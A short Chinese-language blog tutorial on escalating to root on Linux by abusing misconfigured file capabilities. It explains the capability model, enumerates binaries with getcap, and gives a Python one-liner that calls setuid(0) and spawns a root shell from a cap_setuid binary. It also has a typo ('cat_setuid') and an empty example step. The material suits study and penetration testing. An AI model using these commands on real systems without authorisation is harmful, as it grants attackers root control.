利用capabilities提权

发布时间 2023-03-23 11:12:59作者: 野荷
利用capabilities提权的方法

 

Capabilities漏洞利用机制:

原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

 

利用思路:

收集带有capabilities属性的程序,而该程序带有capabilities就等于执行时带有特权,便可以用该程序进行uid的切换,切换为0即为root

 

操作

1.在目标机上以普通用户登录后运行

getcap -r /
或
getcap -r / 2>/dev/null

查看带有cat_setuid的capability的程序。

例子:

/usr/bin/python = cap_setuid_ep

 

2.根据该程序的名称到GTFOBins上进行查找,选择capabilities那一行

例子:

 

 

3.在目标机上运行

/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'

即可为root